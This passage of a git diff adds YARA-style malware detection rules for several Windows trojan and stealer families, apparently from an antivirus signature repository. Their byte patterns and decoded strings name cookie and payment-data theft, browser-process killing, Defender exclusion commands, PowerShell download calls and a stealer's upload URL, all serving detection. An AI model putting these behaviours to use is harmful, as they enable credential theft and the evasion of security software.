//2 + $a_03_1 = {48 89 f1 e8 2e ff ff ff 48 8b 46 ?? 48 31 06 48 83 66 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Midie/Trojan_Win64_Midie_SPR_MTB.yar b/Trojan/Win64/Midie/Trojan_Win64_Midie_SPR_MTB.yar new file mode 100644 index 0000000000..c3228ef536 --- /dev/null +++ b/Trojan/Win64/Midie/Trojan_Win64_Midie_SPR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Midie_SPR_MTB{ + meta: + description = "Trojan:Win64/Midie.SPR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {33 ff 45 33 c9 48 89 7c 24 30 45 33 c0 c7 44 24 28 ?? ?? ?? ?? ba ?? ?? ?? ?? c7 44 24 20 ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 48 8b e8 48 83 f8 ff 75 } //3 + $a_03_1 = {c7 44 24 28 ?? ?? ?? ?? 48 83 64 24 20 00 48 8d 15 ?? ?? ?? ?? 33 c9 45 33 c9 ff 15 ?? ?? ?? ?? 48 83 f8 20 0f 9f c0 48 83 c4 38 } //3 + $a_01_2 = {70 00 6f 00 73 00 64 00 66 00 63 00 63 00 2e 00 65 00 78 00 65 00 } //1 posdfcc.exe + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*3+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_AHC_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_AHC_MTB.yar new file mode 100644 index 0000000000..3744f6d494 --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_AHC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Mikey_AHC_MTB{ + meta: + description = "Trojan:Win64/Mikey.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {8b 4f 24 49 03 cb 42 0f b7 14 51 8b 4f 1c 49 03 cb 8b 04 91 48 8d 15 28 ff ff ff 49 8b 0e 49 03 c3 ff d0 } //2 + $a_01_1 = {38 8b 4e 24 49 03 cb 42 0f b7 14 51 8b 4e 1c 49 03 cb 8b 04 91 49 03 c3 48 8d } //3 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_AKV_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_AKV_MTB.yar new file mode 100644 index 0000000000..dfe1a129bb --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_AKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Mikey_AKV_MTB{ + meta: + description = "Trojan:Win64/Mikey.AKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {4c 8b d2 45 33 c9 4c 2b d1 4c 8b c1 b8 a1 a0 a0 a0 41 f7 e1 c1 ea 05 0f be c2 6b c8 33 41 8a c1 41 ff c1 2a c1 04 32 43 32 04 10 41 88 00 49 ff c0 41 83 f9 0d 7c d5 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_HMZ_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_HMZ_MTB.yar new file mode 100644 index 0000000000..d72644e92c --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_HMZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Mikey_HMZ_MTB{ + meta: + description = "Trojan:Win64/Mikey.HMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {44 89 e7 4c 8b a4 24 ?? ?? ?? ?? 41 30 04 24 49 ff c4 4c 89 a4 24 ?? ?? ?? ?? 4c 3b a4 24 58 01 00 00 48 b8 aa a2 91 e3 af 8c 39 12 4d 89 fc 49 89 d7 48 ba 83 8e 8e dd af 8c 39 12 48 0f 44 c2 4c 89 fa 4d 89 e7 41 89 fc 48 89 cf e9 ba } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMB_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMB_MTB.yar new file mode 100644 index 0000000000..d8441379cc --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Mikey_LMB_MTB{ + meta: + description = "Trojan:Win64/Mikey.LMB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_01_0 = {8b 7c 24 24 83 c9 ff 33 c0 8b f7 f2 ae f7 d1 49 6a 01 8b e9 8d 4c 24 18 55 } //15 + $a_01_1 = {8b 44 24 10 8b 54 24 38 8b c8 c1 e9 10 89 0a 8b 4c 24 3c 25 ff ff 00 00 89 01 } //10 + $a_01_2 = {8b 44 24 08 81 ec 28 06 00 00 53 8b d9 56 57 8b 73 08 8b 7b 04 8b 53 0c 8b c8 46 03 fa 8b d1 89 73 08 8b b4 24 38 06 00 00 c1 e9 02 f3 a5 8b ca 83 e1 03 } //5 + condition: + ((#a_01_0 & 1)*15+(#a_01_1 & 1)*10+(#a_01_2 & 1)*5) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMC_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMC_MTB.yar new file mode 100644 index 0000000000..541ffdf228 --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Mikey_LMC_MTB{ + meta: + description = "Trojan:Win64/Mikey.LMC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_01_0 = {4c 8b 40 30 4c 89 85 18 02 00 00 49 63 40 3c 4a 8b 8c 00 88 00 00 00 44 8b c9 48 89 8d 78 02 00 00 4d 03 c8 4c 89 8d 20 02 00 00 48 c1 e9 20 89 8d 10 02 00 00 4d 3b c8 } //20 + $a_01_1 = {0f be c8 41 33 c8 44 69 c1 43 01 00 00 0f b6 02 48 8d 52 01 84 c0 } //10 + $a_01_2 = {4c 89 9d c0 00 00 00 49 8b db 48 89 9d c8 00 00 00 49 8b c3 4c 8b 40 30 4c 89 45 68 49 63 40 3c 4a 8b 8c 00 88 00 00 00 44 8b d1 48 89 4d 10 4d 03 d0 4c 89 55 70 48 c1 e9 20 89 4d 60 4d 3b d0 } //5 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10+(#a_01_2 & 1)*5) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMF_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMF_MTB.yar new file mode 100644 index 0000000000..638c219b52 --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_LMF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Mikey_LMF_MTB{ + meta: + description = "Trojan:Win64/Mikey.LMF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {8b 44 24 74 89 44 24 60 65 48 8b 04 25 58 00 00 00 41 8b c9 41 ba 98 12 00 00 48 8b 14 c8 b9 a0 12 00 00 8b 04 11 a8 01 } //10 + $a_01_1 = {48 b8 fb 82 e4 08 c1 3b e9 c5 48 89 44 24 30 48 8b 44 24 30 48 89 4c 24 30 49 8d 4b 98 48 89 44 24 50 48 8b 44 24 30 c5 fe 6f 44 24 60 48 89 44 24 58 c5 fd ef 4c 24 40 } //20 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*20) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_MZL_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_MZL_MTB.yar new file mode 100644 index 0000000000..0cdfb9ef7f --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_MZL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Mikey_MZL_MTB{ + meta: + description = "Trojan:Win64/Mikey.MZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {44 89 c9 83 f1 ff 81 e1 1e a6 7f 9b 41 ba ff ff ff ff 41 81 f2 1e a6 7f 9b 45 21 d1 44 89 c2 83 f2 ff 81 e2 1e a6 7f 9b 45 21 d0 44 09 c9 44 09 c2 31 d1 88 08 e9 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_NM_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_NM_MTB.yar new file mode 100644 index 0000000000..32f47b1314 --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_NM_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Mikey_NM_MTB{ + meta: + description = "Trojan:Win64/Mikey.NM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {48 89 84 24 a0 00 00 00 48 8b d9 48 89 4c 24 20 48 8d 05 16 a9 10 00 48 89 44 24 40 48 c7 44 24 48 12 00 00 00 45 33 c0 48 8d 54 24 40 48 8d 4c 24 60 e8 66 ea fe ff 90 48 8d 8c 24 80 00 00 00 e8 08 87 00 00 90 4c 8d 44 24 60 48 8b d0 } //2 + $a_01_1 = {48 8d 8c 24 80 00 00 00 e8 b9 53 00 00 90 48 8d 4c 24 60 e8 ae 53 00 00 48 8b c3 eb 05 } //1 + $a_01_2 = {5f 64 65 63 72 79 70 74 5f 70 61 79 6d 65 6e 74 73 2e 74 78 74 } //1 _decrypt_payments.txt + $a_01_3 = {4b 69 6c 6c 42 72 6f 77 73 65 72 50 72 6f 63 65 73 73 65 73 } //1 KillBrowserProcesses + $a_01_4 = {5f 64 65 63 72 79 70 74 5f 63 6f 6f 6b 69 65 73 2e 74 78 74 } //1 _decrypt_cookies.txt + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mikey/Trojan_Win64_Mikey_SXA_MTB.yar b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_SXA_MTB.yar new file mode 100644 index 0000000000..f29464e9b9 --- /dev/null +++ b/Trojan/Win64/Mikey/Trojan_Win64_Mikey_SXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Mikey_SXA_MTB{ + meta: + description = "Trojan:Win64/Mikey.SXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {44 0f b7 00 66 45 85 c0 74 27 66 44 89 01 44 0f b7 40 02 66 45 85 c0 74 18 66 44 89 41 02 48 83 c0 04 48 83 c1 04 83 c2 02 81 fa 04 01 00 00 7c cf } //3 + $a_01_1 = {8b c1 99 2b c2 d1 f8 ff c8 4c 8b c6 41 80 fb 2d 41 0f 94 c0 48 63 d8 4c 3b c3 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Mint/Trojan_Win64_Mint_SX_MTB.yar b/Trojan/Win64/Mint/Trojan_Win64_Mint_SX_MTB.yar new file mode 100644 index 0000000000..56ea70270f --- /dev/null +++ b/Trojan/Win64/Mint/Trojan_Win64_Mint_SX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Mint_SX_MTB{ + meta: + description = "Trojan:Win64/Mint.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 44 01 07 85 c0 75 43 0f b7 44 24 20 48 8b 4c 24 30 0f b6 44 01 05 88 44 24 28 0f b7 44 24 20 48 8b 4c 24 30 0f b6 44 01 04 88 44 24 29 0f b6 44 24 28 c1 e0 08 0f b6 4c 24 29 0b c1 48 8b 8c 24 80 00 00 00 66 89 41 10 eb 12 } //3 + $a_01_1 = {48 8b 44 24 20 0f b6 00 89 04 24 8b 04 24 89 44 24 04 48 8b 44 24 20 48 ff c0 48 89 44 24 20 83 7c 24 04 00 74 1c 48 8b 44 24 08 48 c1 e0 05 48 03 44 24 08 48 63 0c 24 48 03 c1 48 89 44 24 08 eb be } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/MunchyHill/Trojan_Win64_MunchyHill_A_dha.yar b/Trojan/Win64/MunchyHill/Trojan_Win64_MunchyHill_A_dha.yar new file mode 100644 index 0000000000..f8ae897f7e --- /dev/null +++ b/Trojan/Win64/MunchyHill/Trojan_Win64_MunchyHill_A_dha.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_MunchyHill_A_dha{ + meta: + description = "Trojan:Win64/MunchyHill.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {25 73 3a 20 54 68 65 20 66 69 72 73 74 20 6c 65 76 65 6c 20 43 41 4c 4c 2f 4a 4d 50 20 69 6e 73 74 72 75 63 74 69 6f 6e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 00 } //1 + $a_01_1 = {43 6c 65 61 72 20 4f 62 6a 65 63 74 20 43 61 6c 6c 62 61 63 6b 2e 0a 00 } //1 + $a_01_2 = {43 6c 65 61 72 20 52 65 67 69 73 74 72 79 20 43 61 6c 6c 62 61 63 6b 2e 0a 00 } //1 + $a_01_3 = {46 4c 54 4d 47 52 2e 53 59 53 00 } //1 + $a_01_4 = {53 00 65 00 6e 00 74 00 69 00 6e 00 65 00 6c 00 41 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 } //1 SentinelAgent.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/MythStealer/Trojan_Win64_MythStealer_BSA_MTB.yar b/Trojan/Win64/MythStealer/Trojan_Win64_MythStealer_BSA_MTB.yar new file mode 100644 index 0000000000..f1995dad1d --- /dev/null +++ b/Trojan/Win64/MythStealer/Trojan_Win64_MythStealer_BSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_MythStealer_BSA_MTB{ + meta: + description = "Trojan:Win64/MythStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {4d 79 74 68 2d 4b 65 79 6d 61 69 6e } //4 Myth-Keymain + $a_01_1 = {6d 79 74 68 2e 63 6f 63 75 6b 70 6f 72 6e 6f 2e 6c 6f 6c 2f 73 63 72 65 65 6e 20 7c 20 56 69 63 74 69 6d } //7 myth.cocukporno.lol/screen | Victim + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*7) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/Nanodump/Trojan_Win64_Nanodump_ANO_MTB.yar b/Trojan/Win64/Nanodump/Trojan_Win64_Nanodump_ANO_MTB.yar new file mode 100644 index 0000000000..be875eb592 --- /dev/null +++ b/Trojan/Win64/Nanodump/Trojan_Win64_Nanodump_ANO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Nanodump_ANO_MTB{ + meta: + description = "Trojan:Win64/Nanodump.ANO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 89 45 a0 48 8b 45 a0 48 83 c0 05 48 89 45 98 48 8b 45 98 48 89 c1 e8 ?? ?? ?? ?? 48 89 45 e8 48 8b 4d b0 48 8b 55 98 48 8b 45 e8 49 89 c8 48 89 c1 48 8b 05 ?? ?? 00 00 ff d0 48 8b 55 98 48 8b 45 e8 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Nekark/Trojan_Win64_Nekark_NN_MTB.yar b/Trojan/Win64/Nekark/Trojan_Win64_Nekark_NN_MTB.yar new file mode 100644 index 0000000000..261ba2423d --- /dev/null +++ b/Trojan/Win64/Nekark/Trojan_Win64_Nekark_NN_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win64_Nekark_NN_MTB{ + meta: + description = "Trojan:Win64/Nekark.NN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0a 00 00 " + + strings : + $a_01_0 = {69 6e 20 65 73 65 63 75 7a 69 6f 6e 65 20 63 6f 6d 65 20 61 6d 6d 69 6e 69 73 74 72 61 74 6f 72 65 2e 20 52 69 61 76 76 69 6f 20 63 6f 6e 20 70 72 69 76 69 6c 65 67 69 20 65 6c 65 76 61 74 69 2e 2e 2e } //2 in esecuzione come amministratore. Riavvio con privilegi elevati... + $a_01_1 = {49 6e 73 65 72 69 73 63 69 20 69 6c 20 74 65 73 74 6f 20 64 61 20 61 6e 61 6c 69 7a 7a 61 72 65 } //1 Inserisci il testo da analizzare + $a_01_2 = {72 61 6d 65 72 73 6f 6e 20 70 61 74 72 69 63 6b 20 73 6f 6c 75 74 69 6f 6e 20 66 61 62 72 69 63 20 6f 6d 65 62 72 61 6c 65 73 72 74 75 70 20 62 65 72 61 69 74 6f 64 } //1 ramerson patrick solution fabric omebralesrtup beraitod + $a_01_3 = {4e 65 73 73 75 6e 20 69 6e 70 75 74 20 72 69 63 65 76 75 74 6f 2e 20 55 74 69 6c 69 7a 7a 6f 20 64 65 6c 20 74 65 73 74 6f 20 70 72 65 64 65 66 69 6e 69 74 6f } //1 Nessun input ricevuto. Utilizzo del testo predefinito + $a_01_4 = {6f 70 72 65 74 6f 72 73 61 2e 70 64 62 } //1 opretorsa.pdb + $a_01_5 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 } //1 Add-MpPreference -ExclusionPath + $a_01_6 = {49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 } //1 Invoke-WebRequest -Uri + $a_01_7 = {44 6f 77 6e 6c 6f 61 64 20 64 65 6c 20 66 69 6c 65 20 33 20 66 61 6c 6c 69 74 6f } //1 Download del file 3 fallito + $a_01_8 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 } //1 powershell -Command + $a_01_9 = {43 61 72 74 65 6c 6c 65 20 61 67 67 69 75 6e 74 65 20 61 6c 6c 65 20 65 73 63 6c 75 73 69 6f 6e 69 20 64 69 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 } //1 Cartelle aggiunte alle esclusioni di Windows Defender + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/OysterLoader/Trojan_Win64_OysterLoader_GZZ_MTB.yar b/Trojan/Win64/OysterLoader/Trojan_Win64_OysterLoader_GZZ_MTB.yar new file mode 100644 index 0000000000..2044070d1a --- /dev/null +++ b/Trojan/Win64/OysterLoader/Trojan_Win64_OysterLoader_GZZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_OysterLoader_GZZ_MTB{ + meta: + description = "Trojan:Win64/OysterLoader.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 00 " + + strings : + $a_03_0 = {48 83 ec 28 ba ?? ?? ?? ?? 31 c9 41 b8 00 30 00 00 41 b9 40 00 00 00 ff 15 } //5 + $a_01_1 = {41 ff d6 48 89 c7 48 89 f1 ba 02 00 00 00 41 ff d7 } //5 + $a_01_2 = {41 ff d7 48 89 c7 48 89 f1 ba 02 00 00 00 ff 15 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/PassTamper/Trojan_Win64_PassTamper_A.yar b/Trojan/Win64/PassTamper/Trojan_Win64_PassTamper_A.yar new file mode 100644 index 0000000000..12dbbae98d --- /dev/null +++ b/Trojan/Win64/PassTamper/Trojan_Win64_PassTamper_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_PassTamper_A{ + meta: + description = "Trojan:Win64/PassTamper.A,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_03_0 = {45 33 ff ba 00 01 00 00 41 8b ff e8 ?? ?? ?? ?? 48 85 c0 74 ?? 0f 1f 40 00 0f 1f 84 00 00 00 00 00 4c 8b c6 48 8d 8c 24 90 90 00 00 00 ba 00 01 00 00 48 ff c7 } //1 + $a_03_1 = {2e 00 73 00 79 00 73 00 00 00 00 00 4e 00 76 00 4b 00 65 00 72 00 62 00 65 00 6c 00 00 00 00 ?? 00 00 00 00 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 00 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/PawFall/Trojan_Win64_PawFall_A.yar b/Trojan/Win64/PawFall/Trojan_Win64_PawFall_A.yar new file mode 100644 index 0000000000..803d528914 --- /dev/null +++ b/Trojan/Win64/PawFall/Trojan_Win64_PawFall_A.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_PawFall_A{ + meta: + description = "Trojan:Win64/PawFall.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_01_0 = {00 00 53 00 45 00 56 00 45 00 4e 00 37 00 37 00 37 00 37 00 00 00 } //1 + $a_01_1 = {00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 } //1 嘀物畴污汁潬c + $a_03_2 = {c1 ea 04 6b ?? 42 2b ?? 48 ?? ?? 42 0f b6 ?? ?? (41|30) } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/PermClaw/Trojan_Win64_PermClaw_A.yar b/Trojan/Win64/PermClaw/Trojan_Win64_PermClaw_A.yar new file mode 100644 index 0000000000..ab66e0951e --- /dev/null +++ b/Trojan/Win64/PermClaw/Trojan_Win64_PermClaw_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_PermClaw_A{ + meta: + description = "Trojan:Win64/PermClaw.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {8b 04 24 48 8b ?? 24 ?? 0f be ?? ?? 0f b6 ?? ?? 33 c1 } //1 + $a_03_1 = {48 89 48 30 b8 4d 4f 00 00 48 8b ?? 24 38 66 89 01 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Petwosel/Trojan_Win64_Petwosel_A.yar b/Trojan/Win64/Petwosel/Trojan_Win64_Petwosel_A.yar new file mode 100644 index 0000000000..ef1d753982 --- /dev/null +++ b/Trojan/Win64/Petwosel/Trojan_Win64_Petwosel_A.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Petwosel_A{ + meta: + description = "Trojan:Win64/Petwosel.A,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //10 + $a_03_1 = {4d 5a 45 52 e8 00 00 00 00 59 48 83 e9 09 48 8b c1 48 05 ?? ?? ?? ?? ff d0 c3 } //1 + $a_03_2 = {4d 5a 45 52 e8 00 00 00 00 5b 48 83 eb 09 53 48 81 c3 ?? ?? ?? ?? ff d0 c3 } //1 + $a_03_3 = {4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 ?? ?? ?? ?? ff d0 c3 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/Petwosel/Trojan_Win64_Petwosel_B.yar b/Trojan/Win64/Petwosel/Trojan_Win64_Petwosel_B.yar new file mode 100644 index 0000000000..723862d36a --- /dev/null +++ b/Trojan/Win64/Petwosel/Trojan_Win64_Petwosel_B.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win64_Petwosel_B{ + meta: + description = "Trojan:Win64/Petwosel.B,SIGNATURE_TYPE_PEHSTR_EXT,ffffff84 00 ffffff84 00 08 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //100 + $a_03_1 = {b8 4d 5a 00 00 [0-1a] 81 3f 50 45 00 00 } //10 + $a_03_2 = {3c 02 0f 84 ?? 00 00 00 3c 03 75 ?? b8 00 20 00 00 66 85 ?? 16 0f 84 ?? 00 00 00 } //10 + $a_01_3 = {41 ff 16 48 8b e8 48 85 c0 74 62 8b 7b 10 48 03 fe eb 26 79 05 0f b7 d1 eb 07 48 8d 56 02 48 03 d1 48 85 d2 74 47 48 8b cd 41 ff 56 08 } //10 + $a_01_4 = {b9 02 9f e6 6a } //1 + $a_01_5 = {ba 8d bd c1 3f } //1 + $a_01_6 = {ba ff 1f 7c c9 } //1 + $a_01_7 = {41 81 f0 20 83 b8 ed } //1 + condition: + ((#a_01_0 & 1)*100+(#a_03_1 & 1)*10+(#a_03_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=132 + +} \ No newline at end of file diff --git a/Trojan/Win64/Phave/Trojan_Win64_Phave_GVA_MTB.yar b/Trojan/Win64/Phave/Trojan_Win64_Phave_GVA_MTB.yar new file mode 100644 index 0000000000..a3b1dfa48c --- /dev/null +++ b/Trojan/Win64/Phave/Trojan_Win64_Phave_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Phave_GVA_MTB{ + meta: + description = "Trojan:Win64/Phave.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 01 d0 0f b6 00 32 85 be 11 00 00 48 8b 8d c8 11 00 00 48 8b 95 18 12 00 00 48 01 ca 32 85 bf 11 00 00 88 02 48 83 85 18 12 00 00 01 48 8b 85 18 12 00 00 48 3b 85 10 12 00 00 72 b5 } //2 + $a_01_1 = {48 01 d0 0f b6 00 48 8b 8d b8 11 00 00 48 8b 95 f8 11 00 00 48 01 ca 32 85 af 11 00 00 88 02 48 83 85 f8 11 00 00 01 48 8b 85 f8 11 00 00 48 3b 85 f0 11 00 00 72 bb } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Phave/Trojan_Win64_Phave_GVB_MTB.yar b/Trojan/Win64/Phave/Trojan_Win64_Phave_GVB_MTB.yar new file mode 100644 index 0000000000..2fc8b0ced9 --- /dev/null +++ b/Trojan/Win64/Phave/Trojan_Win64_Phave_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Phave_GVB_MTB{ + meta: + description = "Trojan:Win64/Phave.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 89 e5 89 d0 89 ca 88 55 10 88 45 18 0f b6 45 10 32 45 18 } //2 + $a_01_1 = {88 03 48 83 85 18 12 00 00 01 48 8b 85 18 12 00 00 48 3b 85 10 12 00 00 72 af } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Phave/Trojan_Win64_Phave_MR_MTB.yar b/Trojan/Win64/Phave/Trojan_Win64_Phave_MR_MTB.yar new file mode 100644 index 0000000000..df0df28b03 --- /dev/null +++ b/Trojan/Win64/Phave/Trojan_Win64_Phave_MR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Phave_MR_MTB{ + meta: + description = "Trojan:Win64/Phave.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_03_0 = {48 89 c1 48 8b 05 ?? ?? 00 00 ff d0 48 89 85 ?? ?? 00 00 48 83 bd ?? ?? 00 00 00 75 0a b8 01 00 00 00 e9 ?? ?? 00 00 48 8b 85 ?? ?? 00 00 48 8d 15 ?? ?? 00 00 48 89 c1 48 8b 05 ?? ?? 00 00 ff d0 } //5 + $a_03_1 = {48 01 d0 0f b6 00 48 8b 8d ?? ?? 00 00 48 8b 95 ?? ?? 00 00 48 01 ca 32 85 ?? ?? 00 00 88 02 